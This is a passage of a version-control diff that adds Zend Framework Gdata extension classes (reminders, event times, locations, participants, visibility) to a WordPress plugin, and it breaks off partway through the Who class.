+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Extension_EntryLink
+ */
+require_once 'Zend/Gdata/Extension/EntryLink.php';
+
+/**
+ * @see Zend_Gdata_Extension_OriginalEvent
+ */
+require_once 'Zend/Gdata/Extension/OriginalEvent.php';
+
+/**
+ * Data model class to represent an entry's recurrenceException
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_RecurrenceException extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'recurrenceException';
+    protected $_specialized = null;
+    protected $_entryLink = null;
+    protected $_originalEvent = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Extension_RecurrenceException object.
+     * @param bool $specialized (optional) Whether this is a specialized exception or not.
+     * @param Zend_Gdata_EntryLink (optional) An Event entry with details about the exception.
+     * @param Zend_Gdata_OriginalEvent (optional) The origianl recurrent event this is an exeption to.
+     */
+    public function __construct($specialized = null, $entryLink = null,
+            $originalEvent = null)
+    {
+        parent::__construct();
+        $this->_specialized = $specialized;
+        $this->_entryLink = $entryLink;
+        $this->_originalEvent = $originalEvent;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_specialized !== null) {
+            $element->setAttribute('specialized', ($this->_specialized ? "true" : "false"));
+        }
+        if ($this->_entryLink !== null) {
+            $element->appendChild($this->_entryLink->getDOM($element->ownerDocument));
+        }
+        if ($this->_originalEvent !== null) {
+            $element->appendChild($this->_originalEvent->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'specialized':
+            if ($attribute->nodeValue == "true") {
+                $this->_specialized = true;
+            }
+            else if ($attribute->nodeValue == "false") {
+                $this->_specialized = false;
+            }
+            else {
+                throw new Zend_Gdata_App_InvalidArgumentException("Expected 'true' or 'false' for gCal:selected#value.");
+            }
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('gd') . ':' . 'entryLink':
+            $entryLink = new Zend_Gdata_Extension_EntryLink();
+            $entryLink->transferFromDOM($child);
+            $this->_entryLink = $entryLink;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'originalEvent':
+            $originalEvent = new Zend_Gdata_Extension_OriginalEvent();
+            $originalEvent->transferFromDOM($child);
+            $this->_originalEvent = $originalEvent;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Get the value for this element's Specialized attribute.
+     *
+     * @return bool The requested attribute.
+     */
+    public function getSpecialized()
+    {
+        return $this->_specialized;
+    }
+
+    /**
+     * Set the value for this element's Specialized attribute.
+     *
+     * @param bool $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_RecurrenceException The element being modified.
+     */
+    public function setSpecialized($value)
+    {
+        $this->_specialized = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's EntryLink attribute.
+     *
+     * @return Zend_Gdata_Extension_EntryLink The requested attribute.
+     */
+    public function getEntryLink()
+    {
+        return $this->_entryLink;
+    }
+
+    /**
+     * Set the value for this element's EntryLink attribute.
+     *
+     * @param Zend_Gdata_Extension_EntryLink $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_RecurrenceException The element being modified.
+     */
+    public function setEntryLink($value)
+    {
+        $this->_entryLink = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's Specialized attribute.
+     *
+     * @return Zend_Gdata_Extension_OriginalEvent The requested attribute.
+     */
+    public function getOriginalEvent()
+    {
+        return $this->_originalEvent;
+    }
+
+    /**
+     * Set the value for this element's Specialized attribute.
+     *
+     * @param Zend_Gdata_Extension_OriginalEvent $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_RecurrenceException The element being modified.
+     */
+    public function setOriginalEvent($value)
+    {
+        $this->_originalEvent = $value;
+        return $this;
+    }
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Reminder.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Reminder.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Reminder.php	(revision 44)
@@ -0,0 +1,170 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Implements the gd:reminder element used to set/retrieve notifications
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_Reminder extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'reminder';
+    protected $_absoluteTime = null;
+    protected $_method = null;
+    protected $_days = null;
+    protected $_hours = null;
+    protected $_minutes = null;
+
+    public function __construct($absoluteTime = null, $method = null, $days = null,
+            $hours = null, $minutes = null)
+    {
+        parent::__construct();
+        $this->_absoluteTime = $absoluteTime;
+        $this->_method = $method;
+        $this->_days = $days;
+        $this->_hours = $hours;
+        $this->_minutes = $minutes;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_absoluteTime !== null) {
+            $element->setAttribute('absoluteTime', $this->_absoluteTime);
+        }
+        if ($this->_method !== null) {
+            $element->setAttribute('method', $this->_method);
+        }
+        if ($this->_days !== null) {
+            $element->setAttribute('days', $this->_days);
+        }
+        if ($this->_hours !== null) {
+            $element->setAttribute('hours', $this->_hours);
+        }
+        if ($this->_minutes !== null) {
+            $element->setAttribute('minutes', $this->_minutes);
+        }
+        return $element;
+    }
+
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+            case 'absoluteTime':
+                $this->_absoluteTime = $attribute->nodeValue;
+                break;
+            case 'method':
+                $this->_method = $attribute->nodeValue;
+                break;
+            case 'days':
+                $this->_days = $attribute->nodeValue;
+                break;
+            case 'hours':
+                $this->_hours = $attribute->nodeValue;
+                break;
+            case 'minutes':
+                $this->_minutes = $attribute->nodeValue;
+                break;
+            default:
+                parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    public function __toString()
+    {
+        $s;
+        if ($absoluteTime)
+            $s = "at" . $absoluteTime;
+        else if ($days)
+            $s = "in" . $days . "days";
+        else if ($hours)
+            $s = "in" . $hours . "hours";
+        else if ($minutes)
+            $s = "in" . $minutes . "minutes";
+        return $method . $s;
+    }
+
+    public function getAbsoluteTime()
+    {
+        return $this->_absoluteTime;
+    }
+
+    public function setAbsoluteTime($value)
+    {
+        $this->_absoluteTime = $value;
+        return $this;
+    }
+
+    public function getDays()
+    {
+        return $this->_days;
+    }
+
+    public function setDays($value)
+    {
+        $this->_days = $value;
+        return $this;
+    }
+    public function getHours()
+    {
+        return $this->_hours;
+    }
+
+    public function setHours($value)
+    {
+        $this->_hours = $value;
+        return $this;
+    }
+
+    public function getMinutes()
+    {
+        return $this->_minutes;
+    }
+
+    public function setMinutes($value)
+    {
+        $this->_minutes = $value;
+        return $this;
+    }
+
+    public function getMethod()
+    {
+        return $this->_method;
+    }
+
+    public function setMethod($value)
+    {
+        $this->_method = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Transparency.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Transparency.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Transparency.php	(revision 44)
@@ -0,0 +1,122 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Data model class to represent an entry's transparency
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_Transparency extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'transparency';
+    protected $_value = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Extension_Transparency object.
+     * @param bool $value (optional) Transparency value as URI
+     */
+    public function __construct($value = null)
+    {
+        parent::__construct();
+        $this->_value = $value;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_value !== null) {
+            $element->setAttribute('value', $this->_value);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'value':
+            $this->_value = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's Value attribute.
+     *
+     * @return bool The requested attribute.
+     */
+    public function getValue()
+    {
+        return $this->_value;
+    }
+
+    /**
+     * Set the value for this element's Value attribute.
+     *
+     * @param bool $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_Transparency The element being modified.
+     */
+    public function setValue($value)
+    {
+        $this->_value = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     */
+    public function __toString()
+    {
+        return $this->getValue();
+    }
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Visibility.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Visibility.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Visibility.php	(revision 44)
@@ -0,0 +1,122 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Data model class to represent an entry's visibility
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_Visibility extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'visibility';
+    protected $_value = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Extension_Visibility object.
+     * @param bool $value (optional) Visibility value as URI.
+     */
+    public function __construct($value = null)
+    {
+        parent::__construct();
+        $this->_value = $value;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_value !== null) {
+            $element->setAttribute('value', $this->_value);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'value':
+            $this->_value = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's Value attribute.
+     *
+     * @return bool The requested attribute.
+     */
+    public function getValue()
+    {
+        return $this->_value;
+    }
+
+    /**
+     * Set the value for this element's Value attribute.
+     *
+     * @param bool $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_Visibility The element being modified.
+     */
+    public function setValue($value)
+    {
+        $this->_value = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     */
+    public function __toString()
+    {
+        return $this->getValue();
+    }
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/When.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/When.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/When.php	(revision 44)
@@ -0,0 +1,168 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Extension_Reminder
+ */
+require_once 'Zend/Gdata/Extension/Reminder.php';
+
+/**
+ * Represents the gd:when element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_When extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'when';
+    protected $_reminders = array();
+    protected $_startTime = null;
+    protected $_valueString = null;
+    protected $_endTime = null;
+
+    public function __construct($startTime = null, $endTime = null,
+            $valueString = null, $reminders = null)
+    {
+        parent::__construct();
+        $this->_startTime = $startTime;
+        $this->_endTime = $endTime;
+        $this->_valueString = $valueString;
+        $this->_reminders = $reminders;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_startTime !== null) {
+            $element->setAttribute('startTime', $this->_startTime);
+        }
+        if ($this->_endTime !== null) {
+            $element->setAttribute('endTime', $this->_endTime);
+        }
+        if ($this->_valueString !== null) {
+            $element->setAttribute('valueString', $this->_valueString);
+        }
+        if ($this->_reminders !== null) {
+            foreach ($this->_reminders as $reminder) {
+                $element->appendChild(
+                        $reminder->getDOM($element->ownerDocument));
+            }
+        }
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gd') . ':' . 'reminder';
+                $reminder = new Zend_Gdata_Extension_Reminder();
+                $reminder->transferFromDOM($child);
+                $this->_reminders[] = $reminder;
+                break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+            case 'startTime':
+                $this->_startTime = $attribute->nodeValue;
+                break;
+            case 'endTime':
+                $this->_endTime = $attribute->nodeValue;
+                break;
+            case 'valueString':
+                $this->_valueString = $attribute->nodeValue;
+                break;
+            default:
+                parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    public function __toString()
+    {
+        if ($this->_valueString)
+            return $this->_valueString;
+        else {
+            return 'Starts: ' . $this->getStartTime() . ' ' .
+                   'Ends: ' .  $this->getEndTime();
+        }
+    }
+
+    public function getStartTime()
+    {
+        return $this->_startTime;
+    }
+
+    public function setStartTime($value)
+    {
+        $this->_startTime = $value;
+        return $this;
+    }
+
+    public function getEndTime()
+    {
+        return $this->_endTime;
+    }
+
+    public function setEndTime($value)
+    {
+        $this->_endTime = $value;
+        return $this;
+    }
+
+    public function getValueString()
+    {
+        return $this->_valueString;
+    }
+
+    public function setValueString($value)
+    {
+        $this->_valueString = $value;
+        return $this;
+    }
+
+    public function getReminders()
+    {
+        return $this->_reminders;
+    }
+
+    public function setReminders($value)
+    {
+        $this->_reminders = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Where.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Where.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Where.php	(revision 44)
@@ -0,0 +1,170 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Extension_EntryLink
+ */
+require_once 'Zend/Gdata/Extension/EntryLink.php';
+
+/**
+ * Data model class to represent a location (gd:where element)
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_Where extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'where';
+    protected $_label = null;
+    protected $_rel = null;
+    protected $_valueString = null;
+    protected $_entryLink = null;
+
+    public function __construct($valueString = null, $label = null, $rel = null, $entryLink = null)
+    {
+        parent::__construct();
+        $this->_valueString = $valueString;
+        $this->_label = $label;
+        $this->_rel = $rel;
+        $this->_entryLink = $entryLink;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_label !== null) {
+            $element->setAttribute('label', $this->_label);
+        }
+        if ($this->_rel !== null) {
+            $element->setAttribute('rel', $this->_rel);
+        }
+        if ($this->_valueString !== null) {
+            $element->setAttribute('valueString', $this->_valueString);
+        }
+        if ($this->entryLink !== null) {
+            $element->appendChild($this->_entryLink->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'label':
+            $this->_label = $attribute->nodeValue;
+            break;
+        case 'rel':
+            $this->_rel = $attribute->nodeValue;
+            break;
+        case 'valueString':
+            $this->_valueString = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them in the $_entry array based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('gd') . ':' . 'entryLink':
+            $entryLink = new Zend_Gdata_Extension_EntryLink();
+            $entryLink->transferFromDOM($child);
+            $this->_entryLink = $entryLink;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    public function __toString()
+    {
+        if ($this->_valueString != null) {
+            return $this->_valueString;
+        }
+        else {
+            return parent::__toString();
+        }
+    }
+
+    public function getLabel()
+    {
+        return $this->_label;
+    }
+
+    public function setLabel($value)
+    {
+        $this->_label = $value;
+        return $this;
+    }
+
+    public function getRel()
+    {
+        return $this->_rel;
+    }
+
+    public function setRel($value)
+    {
+        $this->_rel = $value;
+        return $this;
+    }
+
+    public function getValueString()
+    {
+        return $this->_valueString;
+    }
+
+    public function setValueString($value)
+    {
+        $this->_valueString = $value;
+        return $this;
+    }
+
+    public function getEntryLink()
+    {
+        return $this->_entryLink;
+    }
+
+    public function setEntryLink($value)
+    {
+        $this->_entryLink = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Who.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Who.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Extension/Who.php	(revision 44)
@@ -0,0 +1,298 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Extension_AttendeeStatus
+ */
+require_once 'Zend/Gdata/Extension/AttendeeStatus.php';
+
+/**
+ * @see Zend_Gdata_Extension_AttendeeType
+ */
+require_once 'Zend/Gdata/Extension/AttendeeType.php';
+
+/**
+ * @see Zend_Gdata_Extension_EntryLink
+ */
+require_once 'Zend/Gdata/Extension/EntryLink.php';
+
+/**
+ * Data model class to represent a participant
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Extension_Who extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'who';
+    protected $_email = null;
+    protected $_rel = null;
+    protected $_valueString = null;
+    protected $_attendeeStatus = null;
+    protected $_attendeeType = null;
+    protected $_entryLink = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Extension_Who object.
+     * @param string $email (optional) Email address.
+     * @param string $rel (optional) Relationship description.
+     * @param string $valueString (optional) Simple string describing this person.
+     * @param Zend_Gdata_Extension_AttendeeStatus $attendeeStatus (optional) The status of the attendee.
+     * @param Zend_Gdata_Extension_AttendeeType $attendeeType (optional) The type of the attendee.
+     * @param string $entryLink URL pointing to an associated entry (Contact kind) describing this person.
+     */
+    public function __construct($email = null, $rel = null, $valueString = null,
+        $attendeeStatus = null, $attendeeType = null, $entryLink = null)
+    {
+        parent::__construct();
+        $this->_email = $email;
+        $this->_rel = $rel;
+        $this->_valueString = $valueString;
+        $this->_attendeeStatus = $attendeeStatus;
+        $this->_attendeeType = $attendeeType;
+        $this->_entryLink = $entryLink;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_email !== null) {
+            $element->setAttribute('email', $this->_email);
+        }
+        if ($this->_rel !== null) {
+            $element->setAttribute('rel', $this->_rel);
+        }
+        if ($this->_valueString !== null) {
+            $element->setAttribute('valueString', $this->_valueString);
+        }
+        if ($this->_attendeeStatus !== null) {
+            $element->appendChild($this->_attendeeStatus->getDOM($element->ownerDocument));
+        }
+        if ($this->_attendeeType !== null) {
+            $element->appendChild($this->_attendeeType->getDOM($element->ownerDocument));
+        }
+        if ($this->_entryLink !== null) {
+            $element->appendChild($this->_entryLink->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'email':
+            $this->_email = $attribute->nodeValue;
+            break;
+        case 'rel':
+            $this->_rel = $attribute->nodeValue;
+            break;
+        case 'valueString':
+            $this->_valueString = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('gd') . ':' . 'attendeeStatus':
+            $attendeeStatus = new Zend_Gdata_Extension_AttendeeStatus();
+            $attendeeStatus->transferFromDOM($child);
+            $this->_attendeeStatus = $attendeeStatus;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'attendeeType':
+            $attendeeType = new Zend_Gdata_Extension_AttendeeType();
+            $attendeeType->transferFromDOM($child);
+            $this->_attendeeType = $attendeeType;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'entryLink':
+            $entryLink = new Zend_Gdata_Extension_EntryLink();
+            $entryLink->transferFromDOM($child);
+            $this->_entryLink = $entryLink;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Retrieves a human readable string describing this attribute's value.
+     *
+     * @return string The attribute value.
+     */
+    public function __toString()
+    {
+        if ($this->_valueString != null) {
+            return $this->_valueString;
+        }
+        else {
